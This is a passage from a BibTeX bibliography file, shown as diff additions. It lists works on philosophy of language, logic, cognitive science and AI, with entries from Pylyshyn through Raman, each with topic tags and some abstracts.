Cognitive Psychology}, + journal = {Journal of Psycholinguistic Research}, + year = {1973}, + volume = {2}, + pages = {21--50}, + topic = {philosophy-of-linguistics;competence;psychological-reality;} + } + +@incollection{ pylyshyn:1979a1, + author = {Zenon Pylyshyn}, + title = {Complexity and the Study of Artificial and Human + Intelligence}, + booktitle = {Philosophical Perspectives in Artificial Intelligence}, + publisher = {Humanities Press}, + year = {1979}, + editor = {Martin Ringle}, + address = {Atlantic Highlands, New Jersey}, + missinginfo = {pages}, + xref = {Republished: pylyshyn:1979a2.}, + topic = {foundations-of-AI;philosophy-of-cogsci;} + } + +@incollection{ pylyshyn:1979a2, + author = {Zenon Pylyshyn}, + title = {Complexity and the Study of Artificial + and Human Intelligence}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {67--94}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: pylyshyn:1979a1.}, + topic = {foundations-of-AI;philosophy-of-cogsci;} + } + +@article{ pylyshyn:1980a, + author = {Zenon Pylyshyn}, + title = {Computation and Cognition: Issues in the Foundations of + Cognitive Science}, + journal = {The Behavioral and Brain Sciences}, + year = {1980}, + volume = {3}, + pages = {111--50}, + contentnote = {Contains commentary by Patricia Churchland, Paul Churchland, + William Demopoulos, Michael Fortescue, Stephen Grossberg, + John Heil, Stuart Huise, Earl Hunt, Frank Keil, Roberta + Klatsky, Henry Kyburg, George Miller, James Miller, Robert + Moore, Steven Pinker, William Powers, Georges Rey, Martin + Ringle, William Smythe, Stephen Stich, Walter Weimer, and + Stephen Zucker.}, + xref = {See pylyshyn:1984a.}, + topic = {philosophy-of-linguistics;competence;philosophy-of-cogsci; + foundations-of-cognitive-science;} + } + +@article{ pylyshyn:1981a, + author = {Zenon Pylyshyn}, + title = {The Nativists are Restless!}, + journal = {Psychology Today}, + year = {1981}, + volume = {26}, + number = {7}, + pages = {501--504}, + topic = {L1-language-learning;philosophy-of-linguistics;} + } + +@book{ pylyshyn:1984a, + author = {Zenon Pylyshyn}, + title = {Computation and Cognition: Toward a Foundation + for Cognitive Science}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1984}, + ISBN = {0262160986}, + topic = {philosophy-of-linguistics;competence;philosophy-of-cogsci; + foundations-of-cognitive-science;} + } + +@book{ pylyshyn-demopoulos:1986a, + editor = {Zenon W. Pylyshyn and William Demopoulos}, + title = {Meaning and Cognitive Structure: Issues in the + Computational Theory of Mind}, + publisher = {Ablex Publishing Corp.}, + year = {1986}, + address = {Norwood, New Jersey}, + ISBN = {0893913723}, + topic = {foundations-of-cognition;philosophy-of-psychology;} + } + +@book{ pylyshyn:1987a, + editor = {Zenon Pylyshyn}, + title = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + contentnote = {TC: + 1. Lars-Erik Janlert, "Modeling Change---the Frame + Problem", pp. 1--40 + 2. Daniel C. Dennett, "Cognitive Wheels: the Frame Problem + of {AI}", pp. 41-- 64 + 3. Clark Glymour, "Android Epistemology and the Frame Problem: + Comments on {D}ennett's `Cognitive Wheels'\,", pp. 65--75 + 4. John Haugeland, "An Overview of the Frame Problem", pp. 77-- + 5. Hubert L. Dreyfus and Stuart E. Dreyfus, "How to Stop + Worrying about the Frame Problem Even though It's + Computationally Intractable", pp. 95--111 + 6. Drew McDermott, "We've Been Framed: Or, Why {AI} Is + Innocent of the Frame Problem", pp. 113--122 + 7. Patrick J Hayes, "What the Frame Problem Is and + Isn't", pp. 123--137 + 8. Jerry A. Fodor, "Modules, Frames, Fridgeons, Sleeping Dogs, and + the Music of the Spheres", pp. 139--149 + } , + ISBN = {0893913715}, + topic = {frame-problem;philosophy-AI;} + } + +@incollection{ pylyshyn:1987b, + author = {Zenon Pylyshyn}, + title = {Preface}, + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + editor = {Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + pages = {vii--xi}, + topic = {frame-problem;} + } + +@book{ pylyshyn:1988a, + editor = {Zenon Pylyshyn}, + title = {Computational Processes in Human Vision: An Interdisciplinary + Perspective}, + publisher = {Ablex Publishing Corp.}, + year = {1988}, + address = {Norwood, New Jeersey}, + ISBN = {0893914606}, + topic = {vision;} + } + +@incollection{ pylyshyn:1989a, + author = {Zenon Pylyshyn}, + title = {Computing in Cognitive Science}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {2}, + pages = {51--91}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-cognitive-science;foundations-of-psychology;} + } + +@article{ pylyshyn:1989b, + author = {Zenon Pylyshyn}, + title = {On ``Computation and Cognition: Toward a Foundation of + Cognitive Science''. A Response to the Reviews by {A}.{K}. + {M}ackworth and {M}.{J}. {S}tefik}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {248--251}, + xref = {Commentary on mackworth:1989a, stefik:1989a, which are + reviews of pylyshyn:1984a.}, + topic = {philosophy-of-linguistics;competence;philosophy-of-cogsci; + foundations-of-cognitive-science;} + } + +@incollection{ pylyshyn:1996a, + author = {Zenon Pylyshyn}, + title = {The Frame Problem Blues: Once More, with Feeling}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {xi--xviii}, + address = {Norwood, New Jersey}, + xref = {Review: smoliar:1988a.}, + topic = {frame-problem;philosophy-AI;} + } + +@incollection{ pylyshyn:1996b, + author = {Zenon N. Pylyshyn}, + title = {The Study of Cognitive Architecture}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {51--74}, + topic = {cognitive-architectures;} + } + +@book{ pylyshyn:1998a, + editor = {Zenon Pylyshyn}, + title = {Constraining Cognitive Theories: Issues and Options}, + publisher = {Ablex Publishing}, + year = {1998}, + address = {Stamford, COnnecticut}, + ISBN = {1567502997 (hardcover)}, + topic = {foundations-of-cognitive-science;cogsci-methodology;} + } + +@inproceedings{ pynadth-wellman:1995a, + author = {D.V. Pynadth and Michael Wellman}, + title = {Accounting for Context in Plan Recognition}, + booktitle = {Proceedings of the Eleventh Conference on + Uncertainty in Artificial Intelligence ({UAI}-95)}, + year = {1995}, + missinginfo = {editor, publisher, address, pages}, + topic = {context;plan-recognition;} + } + +@article{ pynko:1995a, + author = {Alexej P. Pynko}, + title = {Algebraic Study of Sette's Maximal Paraconsistent Logic}, + journal = {Studia Logica}, + year = {1995}, + volume = {54}, + number = {1}, + pages = {89--128}, + topic = {paraconsistency'algebraic-logic;} + } + +@incollection{ qin-simon:1995a, + author = {Yulin Qin and Herbert Simon}, + title = {Imagery and Mental Models in Problem Solving}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {403--434}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + cognitive-psychology;visual-reasoning;} + } + +@inproceedings{ quantz:1992a, + author = {Joachim Quantz}, + title = {A Step Towards Second Order}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {78--82}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;extensions-of-kl1;} + } + +@incollection{ quantz-royer:1992a, + author = {J. Joachim Quantz and V\'erinique Royer}, + title = {A Preference Semantics for Defaults in Terminological + Logics}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {294--305}, + address = {San Mateo, California}, + topic = {model-preference;} + } + +@incollection{ quesada-amores:2002a, + author = {J.F. Quesada and J.G. Amores}, + title = {Knowledge-Based Reference Resolution for Dialogue + Management in a Home Domain Environment}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {149--154}, + address = {Edinburgh}, + topic = {anaphora-resolution;computational-dialogue;} + } + +@incollection{ quilici:1989a, + author = {Alexander Quilici}, + title = {Detecting and Responding to + Plan-Oriented Misconceptions}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {108--132}, + address = {Berlin}, + topic = {user-modeling;misconception-detection;} + } + +@article{ quillian:1967a1, + author = {M. Ross Quillian}, + title = {Word Concepts: A Theory and Simulation of Some Basic + Semantic Capabilities}, + journal = {Behavioral Science}, + year = {1991}, + volume = {12}, + pages = {410--430}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See quillian:1967a2.}, + topic = {kr;semantic-nets;kr-course;} + } + +@incollection{ quillian:1967a2, + author = {M. Ross Quillian}, + title = {Word Concepts: A Theory and Simulation of Some Basic + Semantic Capabilities}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {97--118}, + xref = {Originally Published in Behavioral Science 12; 1967; 410--430. + See quillian:1967a1.}, + topic = {kr;semantic-nets;kr-course;} + } + +@incollection{ quillian:1968a, + author = {M. Ross Quillian}, + title = {Semantic Memory}, + booktitle = {Semantic Information Processing}, + publisher = {{MIT} Press}, + year = {1968}, + editor = {Marvin Minsky}, + pages = {227--270}, + address = {Cambridge, Massachusetts}, + topic = {kr;semantic-nets;kr-course;} + } + +@article{ quine:1947a, + author = {Willard V. Quine}, + title = {The Problem of Interpreting Modal Logic}, + journal = {The Journal of Symbolic Logic}, + year = {1947}, + volume = {12}, + pages = {43--48}, + missinginfo = {number}, + topic = {modal-logic;foundations-of-modal-logic;} + } + +@article{ quine:1951a, + author = {Willard V. Quine}, + title = {Two Dogmas of Empiricism}, + journal = {The Philosophical Review}, + year = {1951}, + volume = {60}, + pages = {20--43}, + missinginfo = {number}, + xref = {Commentary: grice_hp-strawson_pf:1956a.}, + topic = {empiricism;a-priori;} + } + +@inproceedings{ quine:1953a, + author = {Willard V. Quine}, + title = {Three Grades of Modal Involvement}, + booktitle = {Proceedings of the {XI}th International + Congress of Philosophy, Volume 14}, + year = {1953}, + pages = {65--81}, + missinginfo = {editor, publisher}, + topic = {foundations-of-modal-logic;quantifying-in-modality;} + } + +@article{ quine:1956a1, + author = {Willard V. Quine}, + title = {Quantifiers and Propositional Attitudes}, + journal = {The Journal of Philosophy}, + year = {1956}, + volume = {53}, + pages = {177--187}, + xref = {Republished: quine:1956a2.}, + topic = {propositional-attitudes;quantifying-in-modality;} + } + +@incollection{ quine:1956a2, + author = {Willard V. Quine}, + title = {Quantifiers and Propositional Attitudes}, + booktitle = {The Logic of Grammar}, + publisher = {Dickinson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert Harman}, + pages = {153--159}, + address = {Encino, California}, + xref = {Republication of: quine:1956a1.}, + topic = {propositional-attitudes;quantifying-in-modality;} + } + +@book{ quine:1959a, + author = {W. V. Quine}, + title = {Methods of Logic}, + publisher = {Holt}, + year = {1959}, + address = {New York}, + topic = {logic-text;} + } + +@incollection{ quine:1960a, + author = {Willard V.O Quine}, + title = {Variables Explained Away}, + booktitle = {Selected Logic Papers}, + publisher = {Harvard University Press}, + year = {1960}, + editor = {Willard V. Quine}, + pages = {227--235}, + address = {Cambridge, Massachusetts}, + topic = {combinatory-logic;} + } + +@incollection{ quine:1961a1, + author = {Willard V. Quine}, + title = {Logic as a Source of Syntactical Insights}, + booktitle = {Proceedings of Symposia in Applied Mathematics, Volume + {XII}}, + publisher = {American Mathematical Society}, + year = {1961}, + pages = {1--5}, + address = {Providence, Rhode Island}, + xref = {Republication: quine:1961a2.}, + topic = {pronouns;variable-binding;logical-form;} + } + +@incollection{ quine:1961a2, + author = {Willard V. Quine}, + title = {Logic as a Source of Syntactical Insights}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {153--159}, + address = {Encino, California}, + xref = {Original Publication: quine:1961a1.}, + topic = {pronouns;variable-binding;logical-form;} + } + +@book{ quine:1963a, + author = {Willard V. Quine}, + title = {Set Theory and Its Logic}, + publisher = {Harvard University Press}, + year = {1963}, + address = {Cambridge, Massachusetts}, + topic = {set-theory;foundations-of-set-theory;} + } + +@article{ quine:1964a, + author = {Willard V. Quine}, + title = {Implicit Definition Sustained}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {51}, + number = {2}, + pages = {71--74}, + topic = {definitions;} + } + +@article{ quine:1965a, + author = {Willard V. Quine}, + title = {J.{L}. {A}ustin: Comment}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {19}, + pages = {509--510}, + topic = {JL-Austin;} + } + +@article{ quine:1968a1, + author = {Willard V. Quine}, + title = {Ontological Relativity: The {D}ewey Lectures 1969}, + journal = {Journal of Philosophy}, + year = {1968}, + volume = {65}, + number = {7}, + pages = {185--212}, + xref = {Partial republication: quine:1968a2.}, + topic = {ontology;reference;foundations-of-semantics;} + } + +@incollection{ quine:1968a2, + author = {Willard V. Quine}, + title = {The Inscrutability of Reference}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {142--154}, + address = {Cambridge, England}, + xref = {Partial republication of: quine:1968a1.}, + topic = {ontology;reference;foundations-of-semantics;} + } + +@book{ quine-ullian:1970a, + author = {Willard V. Quine and Joseph Ullian}, + title = {The Web of Belief}, + publisher = {Random House}, + year = {1970}, + address = {New York}, + topic = {epistemology;} + } + +@incollection{ quine:1972a, + author = {Willard V. Quine}, + title = {Methodological Reflections on Current Linguistic Theory}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {442--454}, + address = {Dordrecht}, + topic = {philosophy-of-linguistics;foundations-of-syntax;} + } + +@article{ quine:1974a, + author = {Willard V. Quine}, + title = {Comment on {D}onald {D}avidson}, + journal = {Synth\'ese}, + year = {1974}, + volume = {27}, + pages = {325--329}, + missinginfo = {number}, + topic = {indirect-discourse;} + } + +@article{ quine:1974b, + author = {Willard V. Quine}, + title = {Comment on {M}ichael {D}ummett}, + journal = {Synth\'ese}, + year = {1974}, + volume = {27}, + pages = {399}, + missinginfo = {number}, + topic = {indeterminacy-of-translation;} + } + +@article{ quine:1975a, + author = {Willard V. Quine}, + title = {On Empirically Equivalent Systems of the World}, + journal = {Erkenntnis}, + year = {1975}, + volume = {9}, + pages = {313--328}, + missinginfo = {number}, + topic = {epistemology;} + } + +@article{ quine:1978a1, + author = {Willard V. Quine}, + title = {Use and its Place in Meaning}, + journal = {Erkenntnis}, + year = {1978}, + volume = {13}, + pages = {1--8}, + missinginfo = {number}, + xref = {Republication: quine:1978a2.}, + topic = {pragmatics;indexicality;} + } + +@incollection{ quine:1978a2, + author = {Willard V. Quine}, + title = {Use and its Place in Meaning}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {1--8}, + address = {Dordrecht}, + xref = {Republication of: quine:1978a1.}, + topic = {pragmatics;indexicality;} + } + +@incollection{ quine:1978b, + author = {W.V. Quine}, + title = {Intensions Revisited}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {268--274}, + address = {Minneapolis}, + topic = {intensionality;philosophy-of-language;} + } + +@book{ quine:1980a, + author = {Willard V.O. Quine}, + title = {From a Logical Point of View}, + publisher = {Harvard University Press}, + address = {Cambridge, Massachusetts.}, + year = {1980}, + topic = {analytic-philosophy;philosophy-of-language;} +} + +@article{ quine:1981a, + author = {Willard V. Quine}, + title = {What Price Bivalence}, + journal = {Journal of Philosophy}, + year = {1981}, + volume = {78}, + number = {2}, + pages = {90--95}, + topic = {bivalence;} + } + +@incollection{ quinio-matsuyama:1991a, + author = {Philippe Quinio and Takahashi Matsuyama}, + title = {Random Closed Sets: A Unified Approach to the + Representation of Imprecision and Uncertainty}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {282--286}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;} + } + +@book{ quinn:1994a, + author = {Warren Quinn}, + title = {Morality and Action}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {ethics;action;} + } + +@book{ quirk:1966a, + author = {Randolph Quirk}, + title = {Investigating Linguistic Acceptability}, + publisher = {Mouton}, + year = {1966}, + address = {The Hague}, + topic = {empirical-methods-in-linguistics;linguistics-methodology; + linguistic-variation;} + } + +@book{ quirk:1972a, + author = {Randolph Quirk}, + title = {A Grammar of Contemporary {E}nglish}, + publisher = {Seminar Press}, + year = {1972}, + address = {New York}, + topic = {English-language;descriptive-grammar;} + } + +@book{ quirk-etal:1972a, + author = {Randolph Quirk and Sidney Greenbaum and Geoffrey + Leech and Jan Svartvik}, + title = {A Grammar of Contemporary {E}nglish}, + publisher = {Longman}, + year = {1972}, + address = {London}, + topic = {nonlinguistic-grammars;English-language;} +} + +@book{ quirk:1985a, + author = {Randolph Quirk}, + title = {A Comprehensive Grammar of the {E}nglish Language}, + publisher = {Longman}, + year = {1985}, + address = {London}, + ISBN = {0582517346}, + topic = {English-language;descriptive-grammar;} + } + +@book{ quirk:1995a, + author = {Randolph Quirk}, + title = {Grammatical and Lexical Variance in {E}nglish}, + publisher = {Longman}, + year = {1995}, + address = {London}, + ISBN = {0582253594}, + topic = {linguistic-variation;English-language;} + } + +@article{ qvarnstrom:1977a, + author = {Bengt-Olof Qvarnstr\"om}, + title = {On the Concept of Formalization and Partially Ordered + Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {307--319}, + topic = {nl-quantifiers;game-theoretic-semantics;} + } + +@article{ raab:1955a, + author = {Francis V. Raab}, + title = {Free-Will and the Ambiguity of `Could'\, } , + journal = {Philosophical Review}, + year = {1955}, + volume = {64}, + pages = {60--77}, + missinginfo = {number}, + topic = {freedom;(in)determinism;ability;conditionals; + counterfactual-past;} + } + +@incollection{ raaijmakers:2000a, + author = {Stephen Raaijmakers}, + title = {Learning Distributed Linguistic Classes}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {55--60}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;statistical-nlp;classifier-algorithms;} + } + +@article{ raatikainen:1998a, + author = {Panu Raatikainen}, + title = {On Interpreting {C}haitin's Incompleteness Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {6}, + pages = {569--586}, + topic = {(in)completeness;complexity;} + } + +@article{ raatikainen:2000a, + author = {Panu Raatikainen}, + title = {The Concept of Truth in a Finite Universe}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {6}, + pages = {617--633}, + topic = {truth;finite-models;truth-definitions;} + } + +@book{ rabiner-schafer_rw:1978a, + author = {Lawrence R. Rabiner and Ronald W. Schafer}, + title = {Digital Processing of Speech Signals}, + publisher = {Prentice Hall}, + year = {1978}, + address = {Englewood Cliffs, New Jersey}, + topic = {speech-recognition;speech-generation;} + } + +@book{ rabiner-juang_bh:1993a, + author = {Lawrence R. Rabiner and Biing-Hwang Juang}, + title = {Fundamentals of Speech Recognition}, + publisher = {Prentice Hall}, + year = {1993}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0-13-015157-2}, + topic = {speech-recognition;} + } + +@article{ rabinov:1989a, + author = {Arkady Rabinov}, + title = {A Generalization of Collapsible Cases of Circumscription}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {111--117}, + topic = {nonmonotonic-logic;circumscription;} + } + +@article{ rabinowicz:2001a, + author = {Wlodek Rabinowicz}, + title = {A Centipede for Intransitive Preferers}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {167--178}, + topic = {game-theory;preferences;foundations-of-decision-theory;} + } + +@article{ rabinowicz_w2:1985a, + author = {Wlodzimierz Rabinowicz}, + title = {Intuitionistic Truth}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {2}, + pages = {191--228}, + topic = {intuitionistic-logic;} + } + +@incollection{ rabinowicz_w2:1988a, + author = {Wlodzimierz Rabinowicz}, + title = {Ratifiability and Stability}, + booktitle = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Peter G\"ardenfors and Nils-Eric Sahlin}, + pages = {406--425}, + address = {Cambridge, England}, + topic = {decision-theory;} + } + +@article{ rabinowicz_w2:1989a, + author = {Wlodzimierz Rabinowicz}, + title = {Act-Utilitarian Prisoner's Dilemmas}, + journal = {Theoria}, + volume = {55}, + year = {1989}, + pages = {1--44}, + topic = {utilitarianism;prisoner's-dilemma;} + } + +@incollection{ rabinowicz_w2-segerberg:1994a, + author = {Wlodek Rabinowicz and Krister Segerberg}, + title = {Actual truth, Possible Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {122--137}, + address = {San Francisco}, + topic = {epistemic-logic;} + } + +@incollection{ rabinowicz_w2:1996a, + author = {Wlodzimierz Rabinowicz}, + title = {Stable Revision, or Is Preservation Worth Preserving?}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {101--128}, + address = {Berlin}, + topic = {belief-revision;} + } + +@article{ rada:1986a, + author = {Roy Rada}, + title = {Review of {\it Artificial Intelligence}, by Elaine Rich}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + pages = {119--121}, + xref = {Review of rich_e:1983a.}, + topic = {AI-intro;} + } + +@article{ radev-mckeown:1998a, + author = {Dragomir Radev and Kathleen R. Mckeown}, + title = {Generating Natural Language Summaries from Multiple + On-Line Sources}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {469--500}, + topic = {nl-generation;text-summary;} + } + +@incollection{ radev:2000a, + author = {Dragomir Radev}, + title = {A Common Theory of Information Fusion from + Multiple Text Sources}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {74--83}, + address = {Somerset, New Jersey}, + topic = {information-retrieval;multidocument-processing;} + } + +@book{ radford:1988a, + author = {Andrew Radford}, + title = {Transformational Grammar: A First Course}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + topic = {nl-syntax;GB-syntax;} + } + +@book{ radner-winokour:1970a, + editor = {Michael Radner and Stephen Winokour}, + title = {Analyses of Theories and Methods of Physics and + Psychology: {M}innesota Studies in the Philosophy of Science, + Volume {IV}}, + publisher = {University of Minnesota Press}, + address = {Minneapolis}, + year = {1970}, + topic = {philosophy-of-science;philosophy-of-physics; + philosophy-of-psychology;} + } + +@article{ radnitzky:1962a, + author = {Gerald A. Radnitzky}, + title = {Performatives and Descriptions}, + journal = {Inquiry}, + year = {1962}, + volume = {5}, + pages = {12--41}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@article{ radzinski:1990a, + author = {Daniel Radzinski}, + title = {Unbounded Syntactic Copying in {M}andarin {C}hinese}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {1}, + pages = {113--127}, + topic = {long-distance-dependencies;Chinese-language;} + } + +@article{ raffman:1994a, + author = {Diana Raffman}, + title = {Vagueness without Paradox}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {1}, + pages = {41--74}, + topic = {vagueness;sorites-paradox;} + } + +@article{ raffman:1996a, + author = {D. Raffman}, + title = {Vagueness and Context-Relativity}, + journal = {Philosophical Studies}, + year = {1996}, + volume = {81}, + pages = {175--192}, + topic = {vagueness;context;sorites-paradox;} + } + +@incollection{ ragan:1983a, + author = {Sandra Ragan}, + title = {Alignment and Conversational Coherence}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {157--171}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;coord-in-conversation; + miscommunication;pragmatics;} + } + +@book{ rahimi-karwowski:1992a, + editor = {Mansour Rahimi and Waldemar Karwowski}, + title = {Human-Robot Interaction}, + publisher = {Taylor \& Francis}, + year = {1992}, + address = {London}, + ISBN = {0850668093}, + topic = {robotics;HCI;} + } + +@article{ raiman:1991a, + author = {Olivier Raiman}, + title = {Order of Magnitude Reasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {11--38}, + acontentnote = {Abstract: + Order of magnitude reasoning is pervasive. It copes with + incomplete quantitative information and reduces the burden of + calculations. This paper explores the foundations of this form + of commonsense reasoning. + Intuitively such reasoning is like using a coarse balance which + weighs quantities with a variable level of precision. The coarse + equilibrium is captured by order of magnitude equations, and the + precision levels are given by order of magnitude scales. + The system, Estimates, introduced to solve such equations, + captures some basic engineering skills. Two tasks demonstrate + the leverage it provides: the diagnosis of analog circuits and + the estimation of the acidity of chemical solutions.}, + topic = {reasoning-about-uncertainty;diagnosis;granularity;} + } + +@incollection{ raiman-dekleer:1992a, + author = {Olivier Raiman and Johan de Kleer}, + title = {A Minimality Maintenance System}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {532--538}, + address = {San Mateo, California}, + topic = {kr;truth-maintenance;circumscription;} + } + +@inproceedings{ raiman-etal:1993a, + author = {Olivier Raiman and Johan de Kleer and Vijay Saraswat}, + title = {Critical Reasoning}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {18--23}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {diagnosis;model-based-reasoning;abstraction;} + } + +@incollection{ rajasekar-etal:1989a, + author = {Arcot Rajasekar and Jorge Lobo and Jack Minker}, + title = {Skeptical Reasoning and Disjunctive Programs}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {349--356}, + address = {San Mateo, California}, + topic = {kr;logic-programming;nonmonotonic-logic;kr-course;} + } + +@article{ ram-etal:1995a, + author = {Ashwin Ram and Linda Wills and Eric Domeshek and Nancy Nersessian + and Janet Kolodner}, + title = {Understanding the Creative Mind: a Review of {M}argaret + {B}oden's {\it Creative Mind}}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {111--128}, + xref = {Review of boden:1990a.}, + topic = {creativity;} + } + +@article{ ram-santamaria:1997a, + author = {Ashwin Ram and J.C. Santamar\'ia}, + title = {Continuous Case-Based Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {25--77}, + acontentnote = {Abstract: + Case-based reasoning systems have traditionally been used to + perform high-level reasoning in problem domains that can be + adequately described using discrete, symbolic representations. + However, many real-world problem domains, such as autonomous + robotic navigation, are better characterized using continuous + representations. Such problem domains also require continuous + performance, such as on-line sensorimotor interaction with the + environment, and continuous adaptation and learning during the + performance task. This article introduces a new method for + continuous case-based reasoning, and discusses its application + to the dynamic selection, modification, and acquisition of robot + behaviors in an autonomous navigation system, SINS + (self-improving navigation system). The computer program and the + underlying method are systematically evaluated through + statistical analysis of results from several empirical studies. + The article concludes with a general discussion of case-based + reasoning issues addressed by this research. } , + topic = {case-based-reasoning;machine-learning;robot-navigation;} + } + +@book{ raman:1997a, + author = {T.V. Raman}, + title = {Auditory User Interfaces: Toward the Speaking Computer}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = 